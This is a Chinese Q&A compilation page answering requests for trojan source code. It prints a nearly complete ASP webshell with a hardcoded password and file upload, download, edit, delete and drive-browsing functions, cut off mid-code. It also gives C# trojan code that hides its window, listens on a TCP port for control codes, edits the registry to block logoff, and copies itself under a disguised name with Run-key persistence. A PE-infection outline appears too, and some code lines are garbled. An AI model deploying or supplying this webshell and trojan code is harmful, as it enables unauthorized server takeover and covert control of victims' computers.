c木馬源碼
1. c語言木馬源代碼
ls這個好像是感染c文件的病毒,自動加上玩笑代碼(當然可以是惡意的)
不是木馬
2. 請介紹下C語言寫木馬的演算法......
我只知道window的木馬程序的原理,首先你要去研究一下windows PE文件的格式,windows PE文件包括(exe dll文件等),用文本方式打開任意一個exe或者dll文件,就會發現這些文件都具有類似的組織結構(就是PE格式)
仔細耐心地研究了PE格式後,你會發現這些PE格式的文件有很多間隙空間可用,window木馬程序正是利用PE格式文件中的這些間隙,把自己的代碼插入這些間隙空間中,同時還要修改宿主程序的入口地址(OEP Original Entry Point)
這樣,宿主程序一運行,首先運行生成木馬的代碼,然後運行宿主程序。
Windows應用程序捆綁核心編程 (PE)
http://book.csdn.net/bookfiles/212/10021210198.shtml
http://www.diybl.com/course/3_program/c++/cppjs/2008219/100330.html
3. c語言編寫的木馬源代碼
這位牛人的博客中有一個
http://huaidan.org/archives/1774.html
4. 怎麼用C語言編寫木馬、病毒等程序
C語言當然可以編寫病毒,事實上很多程序都是用C/C++編寫出來的。x0dx0a編程語言本身沒有「貴賤」之分,只用用好了,都是相當強的;區別在於主要適用范圍、編寫的難易程序、執行效率的高低、學習的難易程度,等等。x0dx0aC語言只是一種計算機程序的編寫格式規范,到至於可以編寫出來什麼樣的程序,還要看你所用的C語言編譯器,(比如TC,VC,LCC,GCC等,太多了)。x0dx0a如果有編寫windows程序,就不能用TC,它只能編寫DOS程序,而應該用VC,LCC,C++Builder等編譯工具)x0dx0a編寫出來的程序肯定要調用操作系統提供的功能,如編windows程序,就要調用Win32 API,Dos程序則調用的是DOS中斷,編程實際上就是對這些操作系統所提供功能的調用。x0dx0a現在的病毒很多都是用常用的編程工具編寫的,如VC++,delph,VC,Win32匯編等
5. 木馬程序源碼
一個asp木馬:
<%@ LANGUAGE = VBScript.Encode codepage ="936" %>
<%Server.ScriptTimeOut=5000%>
<object runat=server id=oScript scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object>
<object runat=server id=oScriptNet scope=page classid="clsid:093FF999-1EA0-4079-9525-9614C3504B74"></object>
<object runat=server id=oFileSys scope=page classid="clsid:0D43FE01-F093-11CF-8940-00A0C9054228"></object>
<%
'on error resume next
dim Data_5xsoft
Class upload_5xsoft
dim objForm,objFile,Version
Public function Form(strForm)
strForm=lcase(strForm)
if not objForm.exists(strForm) then
Form=""
else
Form=objForm(strForm)
end if
end function
Public function File(strFile)
strFile=lcase(strFile)
if not objFile.exists(strFile) then
set File=new FileInfo
else
set File=objFile(strFile)
end if
end function
Private Sub Class_Initialize
dim RequestData,sStart,vbCrlf,sInfo,iInfoStart,iInfoEnd,tStream,iStart,theFile
dim iFileSize,sFilePath,sFileType,sFormValue,sFileName
dim iFindStart,iFindEnd
dim iFormStart,iFormEnd,sFormName
Version="HTTP上傳程序 Version 2.0"
set objForm=Server.CreateObject("Scripting.Dictionary")
set objFile=Server.CreateObject("Scripting.Dictionary")
if Request.TotalBytes<1 then Exit Sub
set tStream = Server.CreateObject("adodb.stream")
set Data_5xsoft = Server.CreateObject("adodb.stream")
Data_5xsoft.Type = 1
Data_5xsoft.Mode =3
Data_5xsoft.Open
Data_5xsoft.Write Request.BinaryRead(Request.TotalBytes)
Data_5xsoft.Position=0
RequestData =Data_5xsoft.Read
iFormStart = 1
iFormEnd = LenB(RequestData)
vbCrlf = chrB(13) & chrB(10)
sStart = MidB(RequestData,1, InStrB(iFormStart,RequestData,vbCrlf)-1)
iStart = LenB (sStart)
iFormStart=iFormStart+iStart+1
while (iFormStart + 10) < iFormEnd
iInfoEnd = InStrB(iFormStart,RequestData,vbCrlf & vbCrlf)+3
tStream.Type = 1
tStream.Mode =3
tStream.Open
Data_5xsoft.Position = iFormStart
Data_5xsoft.CopyTo tStream,iInfoEnd-iFormStart
tStream.Position = 0
tStream.Type = 2
tStream.Charset ="gb2312"
sInfo = tStream.ReadText
tStream.Close
iFormStart = InStrB(iInfoEnd,RequestData,sStart)
iFindStart = InStr(22,sInfo,"name=""",1)+6
iFindEnd = InStr(iFindStart,sInfo,"""",1)
sFormName = lcase(Mid (sinfo,iFindStart,iFindEnd-iFindStart))
if InStr (45,sInfo,"filename=""",1) > 0 then
set theFile=new FileInfo
iFindStart = InStr(iFindEnd,sInfo,"filename=""",1)+10
iFindEnd = InStr(iFindStart,sInfo,"""",1)
sFileName = Mid (sinfo,iFindStart,iFindEnd-iFindStart)
theFile.FileName=getFileName(sFileName)
theFile.FilePath=getFilePath(sFileName)
iFindStart = InStr(iFindEnd,sInfo,"Content-Type: ",1)+14
iFindEnd = InStr(iFindStart,sInfo,vbCr)
theFile.FileType =Mid (sinfo,iFindStart,iFindEnd-iFindStart)
theFile.FileStart =iInfoEnd
theFile.FileSize = iFormStart -iInfoEnd -3
theFile.FormName=sFormName
if not objFile.Exists(sFormName) then
objFile.add sFormName,theFile
end if
else
tStream.Type =1
tStream.Mode =3
tStream.Open
Data_5xsoft.Position = iInfoEnd
Data_5xsoft.CopyTo tStream,iFormStart-iInfoEnd-3
tStream.Position = 0
tStream.Type = 2
tStream.Charset ="gb2312"
sFormValue = tStream.ReadText
tStream.Close
if objForm.Exists(sFormName) then
objForm(sFormName)=objForm(sFormName)&", "&sFormValue
else
objForm.Add sFormName,sFormValue
end if
end if
iFormStart=iFormStart+iStart+1
wend
RequestData=""
set tStream =nothing
End Sub
Private Sub Class_Terminate
if Request.TotalBytes>0 then
objForm.RemoveAll
objFile.RemoveAll
set objForm=nothing
set objFile=nothing
Data_5xsoft.Close
set Data_5xsoft =nothing
end if
End Sub
Private function GetFilePath(FullPath)
If FullPath <> "" Then
GetFilePath = left(FullPath,InStrRev(FullPath, "\"))
Else
GetFilePath = ""
End If
End function
Private function GetFileName(FullPath)
If FullPath <> "" Then
GetFileName = mid(FullPath,InStrRev(FullPath, "\")+1)
Else
GetFileName = ""
End If
End function
End Class
Class FileInfo
dim FormName,FileName,FilePath,FileSize,FileType,FileStart
Private Sub Class_Initialize
FileName = ""
FilePath = ""
FileSize = 0
FileStart= 0
FormName = ""
FileType = ""
End Sub
Public function SaveAs(FullPath)
dim dr,ErrorChar,i
SaveAs=true
if trim(fullpath)="" or FileStart=0 or FileName="" or right(fullpath,1)="/" then exit function
set dr=CreateObject("Adodb.Stream")
dr.Mode=3
dr.Type=1
dr.Open
Data_5xsoft.position=FileStart
Data_5xsoft.to dr,FileSize
dr.SaveToFile FullPath,2
dr.Close
set dr=nothing
SaveAs=false
end function
End Class
httpt = Request.ServerVariables("server_name")
rseb=Request.ServerVariables("SCRIPT_NAME")
q=request("q")
if q="" then q=rseb
select case q
case rseb
if Epass(trim(request.form("password")))="q_ux888556" then
response.cookies("password")="7758521"
response.redirect rseb & "?q=list.asp"
else %>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title><%=httpt%></title>
<meta name="GENERATOR" content="Microsoft FrontPage 3.0">
</head>
<body>
<%if request.form("password")<>"" then
response.write "Password Error!"
end if
%>
<table border="1" width="100%" height="89" bgcolor="#DFDFFF" cellpadding="3"
bordercolorlight="#000000" bordercolordark="#F2F2F9" cellspacing="0">
<tr>
<td width="100%" height="31" bgcolor="#000080"><p align="center"><font color="#FFFFFF"><%=httpt%></font></td>
</tr>
<tr>
<td width="100%" height="46"><form method="POST" action="<%=rseb%>?q=<%=rseb%>">
<div align="center"><center><p>Enter Password:<input type="password" name="password"
size="20"
style="border-left: thin none; border-right: thin none; border-top: thin outset; border-bottom: thin outset">
<input type="submit" value="OK!LOGIN" name="B1"
style="font-size: 9pt; border: thin outset"></p>
</center></div>
</form>
</td>
</tr>
</table>
</body>
</html>
<%end if%>
<%case "down.asp"
call downloadFile(request("path"))
function downloadFile(strFile)
strFilename = strFile
Response.Buffer = True
Response.Clear
set s = Server.CreateObject("adodb.stream")
s.Open
s.Type = 1
if not oFileSys.FileExists(strFilename) then
Response.Write("<h1>Error:</h1>" & strFilename & " does not exist<p>")
Response.End
end if
Set f = oFileSys.GetFile(strFilename)
intFilelength = f.size
s.LoadFromFile(strFilename)
if err then
Response.Write("<h1>Error: </h1>" & err.Description & "<p>")
Response.End
end if
Response.AddHeader "Content-Disposition", "attachment; filename=" & f.name
Response.AddHeader "Content-Length", intFilelength
Response.CharSet = "UTF-8"
Response.ContentType = "application/octet-stream"
Response.BinaryWrite s.Read
Response.Flush
s.Close
Set s = Nothing
response.end
End Function
%>
<%case "list.asp"%>
<%
urlpath=server.urlencode(path)
if Request.Cookies("password")="7758521" then
dim cpath,lpath
if Request("path")="" then
lpath="/"
else
lpath=Request("path")&"/"
end if
if Request("attrib")="true" then
cpath=lpath
attrib="true"
else
cpath=Server.MapPath(lpath)
attrib=""
end if
Sub GetFolder()
dim theFolder,theSubFolders
if oFileSys.FolderExists(cpath)then
Set theFolder=oFileSys.GetFolder(cpath)
Set theSubFolders=theFolder.SubFolders
Response.write"<a href='" & rseb & "?q=list.asp&path="&Request("oldpath")&"&attrib="&attrib&"'><font color='#FF8000'>■</font>↑<font color='ff2222'>回上級目錄</font></a><br><script language=vbscript>"
For Each x In theSubFolders
%>so "<%=lpath%>","<%=x.Name%>","<%=request("path")%>","<%=attrib%>"
<%
Next
%></script><%
end if
End Sub
Sub GetFile()
dim theFiles
if oFileSys.FolderExists(cpath)then
Set theFolder=oFileSys.GetFolder(cpath)
Set theFiles=theFolder.Files
Response.write"<table border='0' width='100%' cellpadding='0'><script language=vbscript>"
For Each x In theFiles
if Request("attrib")="true" then
showstring=x.Name
else
showstring=x.Name
end if
%>sf "<%=showstring%>","<%=x.size%>","<%=x.type%>","<%=x.Attributes%>","<%=x.DateLastModified%>","<%=lpath%>","<%=x.name%>","<%=attrib%>","<%=x.name%>"
<%
Next
end if
Response.write"</script></table>"
End Sub
%>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title><%=httpt%></title>
<style type="text/css">
<!--
table{ font-family: 宋體; font-size: 9pt }
a{ font-family: 宋體; font-size: 9pt; color: rgb(0,32,64); text-decoration: none }
a:hover{ font-family: 宋體; color: rgb(255,0,0); text-decoration: none }
a:visited{ color: rgb(128,0,0) }
td { font-size: 9pt}
a { color: #000000; text-decoration: none}
a:hover { text-decoration: underline}
.tx { height: 16px; width: 30px; border-color: black black #000000; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 1px; border-left-width: 0px; font-size: 9pt; background-color: #eeeeee; color: #0000FF}
.bt { font-size: 9pt; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; height: 16px; width: 80px; background-color: #eeeeee; cursor: hand}
.tx1 { height: 18px; width: 60px; font-size: 9pt; border: 1px solid; border-color: black black #000000; color: #0000FF}
-->
</style>
</head>
<script language="javaScript">
function crfile(ls)
{if (ls==""){alert("請輸入文件名!");}
else {window.open("<%=rseb%>?q=edit.asp&attrib=<%=request("attrib")%>&creat=yes&path=<%=lpath%>"+ls);}
return false;
}
function crdir(ls)
{if (ls==""){alert("請輸入文件名!");}
else {window.open("<%=rseb%>?q=edir.asp&attrib=<%=request("attrib")%>&op=creat&path=<%=lpath%>"+ls);}
return false;
}
</script>
<script language="vbscript">
sub sf(showstring,size,type1,Attributes,DateLastModified,lpath,xname,attrib,name)
document.write "<tr style=""color: #000000; background-color: #FFefdf; text-decoration: blink; border: 1px solid #000080"" onMouseOver=""this.style.backgroundColor = '#FFCC00'"" onMouseOut=""this.style.backgroundColor = '#FFefdf'""><td width='50%'><font color='#FF8000'><font face=Wingdings>+</font></font><a href='"& urlpath & lpath & xName &"' target='_blank'><strong>" & showstring & "</strong></a></td><td width='20%' align='right'>" & size & "位元組</td><td width='30%'><a href='#' title='類型:" & type1 & chr(10) & "屬性:" & Attributes & chr(10) & "時間:" & DateLastModified &"'>屬性</a> <a href='<%=rseb%>?q=edit.asp&path=" & lpath & xName & "&attrib=" & attrib &"' target='_blank' ><font color='#FF8000' ></font>編輯</a> <a href="&chr(34)&"javascript: rmdir1('"& lpath & xName &"')"&chr(34)&"><font color='#FF8000' ></font>刪除</a> <a href='#' onclick=file('" & lpath & Name & "')><font color='#FF8000' ></font>復制</a> <a href='<%=rseb%>?q=down.asp&path=<%=cpath%>\"&xName&"&attrib=" & attrib &"' target='_blank' ><font color='#FF8000' ></font>下載</a></td></tr>"
end sub
sub so(lpath,xName,path,attrib)
document.write "<a href='<%=rseb%>?q=list.asp&path="& lpath & xName & "&oldpath=" & path & "&attrib=" & attrib &"'>└<font color='#FF8000'><font face=Wingdings>1</font></font> " & xName &"</a> <a href="&chr(34)&"javascript: rmdir('"& lpath & xName &"')"&chr(34)&"><font color='#FF8000' ></font>刪除</a><br>"
end sub
sub rmdir1(ls)
if confirm("你真的要刪除這個文件嗎!"&Chr(13)&Chr(10)&"文件為:"&ls) then
window.open("<%=rseb%>?q=edit.asp&path=" & ls & "&op=del&attrib=<%=request("attrib")%>")
end if
end sub
sub rmdir(ls)
if confirm("你真的要刪除這個目錄嗎!"&Chr(13)&Chr(10)&"目錄為:"&ls) then
window.open("<%=rseb%>?q=edir.asp&path="&ls&"&op=del&attrib=<%=request("attrib")%>")
end if
end sub
sub file(sfile)
dfile=InputBox("※文件復制※"&Chr(13)&Chr(10)&"源文件:"& sfile&Chr(13)&Chr(10)&"輸入目標文件的文件名:"&Chr(13)&Chr(10) &"[允許帶路徑,要根據你的當前路徑模式]")
dfile=trim(dfile)
attrib="<%=request("attrib")%>"
if dfile<>"" then
if InStr(dfile,":") or InStr(dfile,"/")=1 then
lp=""
if InStr(dfile,":") and attrib<>"true" then
alert "對不起,你在相對路徑模式下不能使用絕對路徑"&Chr(13)&Chr(10)&"錯誤路徑:["&dfile&"]"
exit sub
end if
else
lp="<%=lpath%>"
end if
window.open("<%=rseb%>?q=edit.asp&path="+sfile+"&op=&attrib="+attrib+"&dpath="+lp+dfile)
else
alert"您沒有輸入文件名!"
end If
end sub
</script>
<body>
<table border="1" width="100%" cellpadding="0" height="81" bordercolorlight="#000000"
bordercolordark="#FFFFFF" cellspacing="0">
<tr>
<td width="755" bgcolor="#000080" colspan="2" height="23"><p align="center"><font size="3"
color="#FFFFFF"><%=httpt%></font></td>
</tr>
<tr>
<td width="751" bgcolor="#C0C0C0" colspan="2">※換盤:<span
style="background-color: rgb(255,255,255);color:rgb(255,0,0)"><%
For Each thing in oFileSys.Drives
Response.write "<font face=Wingdings>:</font><a href='" & rseb & "?q=list.asp&path="&thing.DriveLetter&":&attrib=true'>"&thing.DriveLetter&":</a>"
NEXT
%> </span> 地址:
<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %></td>
</tr>
<tr>
<td width="751" bgcolor="#C0C0C0" colspan="2">※<%
if Request("attrib")="true" then
response.write "<a href='" & rseb & "?q=list.asp'>切到相對路徑</a>"
else
response.write "<a href='" & rseb & "?attrib=true&q=list.asp'>切到絕對路徑</a>"
end if
%> ※絕對:<span
style="background-color: rgb(255,255,255)"><%=cpath%></span></td>
</tr>
<tr>
<td width="751" bgcolor="#C0C0C0" colspan="2">※當前<font color="#FF8000"><font face=Wingdings>1</font></font>:<span style="background-color: rgb(255,255,255)"><%=lpath%></span> </td>
</tr><form name="form1" method="post" action="<%=rseb%>?q=upfile.asp" target="_blank" enctype="multipart/form-data">
<tr><td bgcolor="#C0C0C0" colspan="2" style="height: 20px">
編輯|
<input class="tx1" type="text" name="filename" size="20">
<input class="tx1" type="button" value="建文" onclick="crfile(form1.filename.value)">
<input class="tx1" type="button" value="建目" onclick="crdir(form1.filename.value)">
<input type="file" name="file1" class="tx1" style="width:100" value="">
<input type="text" name="filepath" class="tx1" style="width:100" value="<%=cpath%>">
<input type="hidden" name="act" value="upload">
<input type="hidden" name="upcount" class="tx" value="1">
<input class="tx1" type="submit" value="上傳">
<input class="tx1" type="button" onclick="window.open('<%=rseb%>?q=cmd.asp','_blank')" value="命令">
<input class="tx1" type="button" onclick="window.open('<%=rseb%>?q=test.asp','_blank')" value="配置">
<input class="tx1" type="button" onclick="window.open('<%=rseb%>?q=p.asp','_blank')" value="nfso">
</td>
</td>
</tr></form>
<tr>
<td width="169" valign="top" bgcolor="#C8E3FF"><%Call GetFolder()%>
</td>
<td width="582" valign="top" bgcolor="#FFefdf"><%Call GetFile()%>
</td>
</tr>
</table>
<%else
response.write "Password Error!"
response.write "<a href='" & rseb & "?q=" & rseb & "'>【返 回】</a>"
end if
%>
</body>
</html>
<%case "edit.asp"%>
<html>
<head>
<meta HTTP-EQUIV="Content-Type" CONTENT="text/html;charset=gb_2312-80">
<title>編輯源代碼</title>
<style>
<!--
table{ font-family: 宋體; font-size: 12pt }
a{ font-family: 宋體; font-size: 12pt; color: rgb(0,32,64); text-decoration: none }
a:hover{ font-family: 宋體; color: rgb(255,0,0); text-decoration: underline }
a:visited{ color: rgb(128,0,0) }
-->
</style>
</head>
<body>
<% '讀文件
if Request.Cookies("password")="7758521" then
if request("op")="del" then
if Request("attrib")="true" then
whichfile=Request("path")
else
whichfile=server.mappath(Request("path"))
end if
Set thisfile = oFileSys.GetFile(whichfile)
thisfile.Delete True
Response.write "<script>alert('刪除成功!要刷新才能看到效果');window.close();</script>"
else
if request("op")="" then
if Request("attrib")="true" then
whichfile=Request("path")
dsfile=Request("dpath")
else
whichfile=server.mappath(Request("path"))
dsfile=Server.MapPath(Request("dpath"))
end if
Set thisfile = oFileSys.GetFile(whichfile)
thisfile. dsfile
%>
<script language=vbscript>
msgbox "源文件:<%=whichfile%>" & vbcrlf & "目的文件:<%=dsfile%>" & vbcrlf & "復製成功!要刷新才能看到效果!"
window.close()
</script>
<%
else
if request.form("text")="" then
if Request("creat")<>"yes" then
if Request("attrib")="true" then
whichfile=Request("path")
else
whichfile=server.mappath(Request("path"))
end if
Set thisfile = oFileSys.OpenTextFile(whichfile, 1, False)
counter=0
thisline=thisfile.readall
thisfile.Close
set fs=nothing
end if
%>
<form method="POST" action="<%=rseb%>?q=edit.asp">
<input type="hidden" name="attrib" value="<%=Request("attrib")%>"><table border="0"
width="700" cellpadding="0">
<tr>
<td width="100%" bgcolor="#FFDBCA"><div align="center"><center><p><%=httpt%></td>
</tr>
<tr align="center">
<td width="100%" bgcolor="#FFDBCA">文件名:<input type="text" name="path" size="45"
value="<%=Request("path")%> ">直接更改文件名,相當於「另存為」</td>
</tr>
<tr align="center">
<td width="100%" bgcolor="#FFDBCA"><textarea rows="25" name="text" cols="90"><%=thisline%></textarea></td>
</tr>
<tr align="center">
<td width="100%" bgcolor="#FFDBCA"><div align="center"><center><p><input type="submit"
value="提交" name="B1"><input type="reset" value="復原" name="B2"></td>
</tr>
</table>
</form>
<%else
if Request("attrib")="true" then
whichfile=Request("path")
else
whichfile=server.mappath(Request("path"))
end if
Set outfile=oFileSys.CreateTextFile(whichfile)
outfile.WriteLine Request("text")
outfile.close
set fs=nothing
Response.write "<script>alert('修改成功!要刷新才能看到效果');window.close();</script>"
end if
end if
end if
else
response.write "Password Error!"
response.write "<a href='" & rseb & "?q=" & rseb & "'>【返 回】</a>"
end if
%>
</body>
</html>
<%case "edir.asp"%>
<html>
<head>
<meta HTTP-EQUIV="Content-Type" CONTENT="text/html;charset=gb_2312-80">
<title>目錄操作</title>
<style>
<!--
table{ font-family: 宋體; font-size: 12pt }
a{ font-family: 宋體; font-size: 12pt; color: rgb(0,32,64); text-decoration: none }
a:hover{ font-family: 宋體; color: rgb(255,0,0); text-decoration: underline }
a:visited{ color: rgb(128,0,0) }
-->
</style>
</head>
<body>
<% '讀文件
if Request.Cookies("password")="7758521" then
if request("op")="del" then
if Request("attrib")="true" then
whichdir=Request("path")
else
whichdir=server.mappath(Request("path"))
end if
oFileSys.DeleteFolder whichdir,True
Response.write "<script>alert('刪除的目錄為:" & whichdir & "刪除成功!要刷新才能看到效果');window.close();</script>"
else
if request("op")="creat" then
if Request("attrib")="true" then
whichdir=Request("path")
else
whichdir=server.mappath(Request("path"))
end if
oFileSys.CreateFolder whichdir
Response.write "<script>alert('建立的目錄為:" & whichdir & "建立成功!要刷新才能看到效果');window.close();</script>"
end if
end if
else
response.write "Password Error!"
response.write "<a href='" & rseb & "?q=" & rseb & "'>【返 回】</a>"
end if
%>
</body>
</html>
<%
case "upfile.asp"
if Request.Cookies("password")="7758521" then
set upload=new upload_5xSoft
if upload.form("filepath")="" then
HtmEnd "請輸入要上傳至的目錄!"
set upload=nothing
response.end
else
formPath=upload.form("filepath")
if right(formPath,1)<>"/" then formPath=formPath&"/"
end if
iCount=0
for each formName in upload.objForm
set file=upload.file(formName)
if file.FileSize>
6. c語言可以編個木馬嗎
要實現木馬服務的程序,主要實現以下幾個功能:後台的運行(隱藏技術),控制碼的接收與注冊表的修改,下面對這三方面做介紹:
1、在VC#中,建立一個後台服務程序是很容易的,先建立一個新的C#的Windows應用程序,項目名稱自定(不過為了隱藏可使用與系統相近的名稱),將窗體屬性「ShowInTaskbar」屬性設為false,讓它運行時不會在任務欄中顯示,並將屬性「Windowstate」屬性設為Mininized即可,這樣窗體就可以隱藏運行了。當然你也可以在InitializeComponent()設置,此函數起初始化的作用,在窗體顯示前運行,代碼如下:
private void InitializeComponent()
{
//
// Form1
//
//窗體顯示的起點和大小
this.AutoScaleBaseSize = new System.Drawing.Size(6, 14);
this.ClientSize = new System.Drawing.Size(368, 357);
//窗體名稱
this.Name = "Form1";
//設置屬性讓它後台運行
this.ShowInTaskbar = false;
this.Text = "Form1";
this.WindowState = System.Windows.Forms.FormWindowState.Minimized;
}
2、控制代碼的接收,必需在服務程序運行開始就啟動,所以偵聽線程必需在程序初始化中啟動,所以放在窗體的構造函數中,代碼註解如下:
public Form1() //窗體的構造函數
{
//
// Windows 窗體設計器支持所必需的
//
InitializeComponent();
//
// TODO: 在 InitializeComponent 調用後添加任何構造函數代碼
//加入你的偵聽代碼
//埠你可以自已設定,我使用了固定的埠
int port =6678;
//System.Net.Sockets.TcpListener是用來在Tcp網路中偵聽客戶端的
listener = new TcpListener(port);
//啟動偵聽
listener.Start();
//增加接收控制碼的線程,如果要停止線程可以用 Thread.abort()
//reControlCode 是線程啟動執行的函數,此函數根據接收的控制
//控制碼選取合適的注冊表修改函數
Thread thread = new Thread(new ThreadStart(reControlCode));
thread.Start();
}
reControlCode函數如下,完整代碼見程序
private void reControlCode()
{
//設置接收套接字,接收listener.AcceptSocket是返回已經接收的客戶的請求
socket = listener.AcceptSocket();
//如果連接成功執行
while (socket.Connected)
{
//接收控制碼
byte [] by =new byte[6];
int i = socket.Receive(by,by.Length ,0);
string ss = System.Text.Encoding.ASCII.GetString(by);
//根據控制碼執行不同的功能
//修改注冊表加入編碼
switch (ss)
{
case "jiance"://測試連接,返回測試信息
string str ="hjc";
byte [] bytee = System.Text.Encoding.ASCII.GetBytes(str);
socket.Send(bytee,0,bytee.Length,0);
break;
case "zx1000":
//修改注冊表函數,自已定義,見下面分析
UnLogOff();
//返回控制消息
retMessage();
break;
case "zx0100":
//修改注冊表函數
UnClose();
//返回控制消息
retMessage();
break;
//重復的case功能與前面一樣,略掉
default:
break;
}//case
}//while
} //private void reControlCode
3、C#中實現注冊表的修改,使用了.NET類庫中的System.Microsoft.Win32命令空間,它提供兩種類型的類:處理由操作系統引發的事件的類和對系統注冊表進行操作的類。下面就可以看到它的用法。這里我做了一個修改注冊表的子程序:使計算機不能注銷。在這之前先了解注冊表,在子鍵SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer
下面設鍵值NoLogOff 為 1 即可使計算機無法注銷。在下面的函數中用C#實現對注冊表的修改:
private void UnLogOff()
{
//得到主機的注冊表的頂級節點
Microsoft.Win32.RegistryKey rLocal = Registry.LocalMachine;
//設置一個注冊表子鍵的變數
RegistryKey key1;
try
{
//函數RegistryKey.OpenSubkey(string registrykey,bool canwrite)檢索指定的子鍵
//registrykey是用戶指定的鍵值,canwrite 為true則可修改,默認為fasle不可改
key1 =
rLocal.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
//設置子鍵的鍵名,和值
key1.SetValue ("NoLogOff",1);
//關閉打開的子鍵
key1.Close();
//警告字元串設定
mystr = mystr +"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer鍵值Nologoff被修改!請將它置為0!";
}
catch{}
//如果不存在自已建立
if(key1 ==null)
{
try
{
//使用RegistryKey.CreateSubKey(string mystring)函數來建立你需要的子鍵
RegistryKey key2 = rLocal.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
key2.SetValue("NoLogOff",1);
key2.Close();
mystr = mystr +"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer鍵值Nologoff被修改!請將它置為0!";
}
catch{}
}
}
4、在木馬程序中還有一個重要的功能就是自我的復制和轉移。木馬引入被控制的主機時必需自動將木馬隱藏在System,System32的目錄下以防被發現。轉移的代碼分析如下,主要實現的功能是將D盤下的木馬程序轉移到C:\\winnnt\\system\\msdoss.exe,同時換名稱。使用的.NET命名空間System.IO,它的作用是允許對數據流和文件進行同步和非同步讀寫。這里我們使用了System.IO.File類。
private void moveCC1()
{
try
{
//函數File.Move(string sourceFileName,string destFileName)起移動文件的作用
//sourceFileName為要移動的文件名,destFileName為文件的新路徑
File.Move("C:\\winnnt\\system\\msdoss.exe","d:\\winnt\\system32\\expleror.exe");
}
catch {}
//將新移的木馬程序設為自啟動.分析和前面一樣
try
{
key1 = rLocal.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",true);
key1.SetValue ("microsoftt","d:\\winnt\\system32\\expleror.exe");
key1.Close();
}
catch{}
if(key1 ==null)
{
try
{
RegistryKey key2=rLocal.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");
key1.SetValue ("microsoftt","d:\\winnt\\system32\\expleror.exe");
key1.Close();
}
catch{}
}
} //moveCC1()
按照步驟來就可以得到一個C#木馬了..
都給出答案了.可以給分卜?
7. 易語言編出來軟體有木馬,如何在源碼中解決
您好,易語言編寫出來的程序都會被殺毒軟體誤報,在源碼中是無法解決這個問題的,易語言有的時候緩賣褲編寫一個空文件出來擾簡都會被報毒,加殼什麼的都無法根除這個問題。
如果您做的軟體被殺毒誤報,您要解除誤報的話,建議您進入您殺毒軟體的誤報申訴。
以下我就用騰訊電腦管家來做一個演示,先進入http://guanjia.qq.com/trojan_false.html
然後提交您被誤報的文件,申訴就可以了!
希望我的回答能配絕幫助到您!如有疑問請進入騰訊電腦管家企業平台:http://..com/c/guanjia/
騰訊電腦管家企業平台:http://..com/c/guanjia/
8. 如何用C語言製作木馬
這個一兩句也說不清楚 你首先要有信心去學習c語言,c語言不像vb,要到後期才能看到它的威力,所以要堅持的學下去 希望你能堅持住,教程網上隨便一搜索就有了,還有可以去買書 都可以 總之要有耐心 堅持!!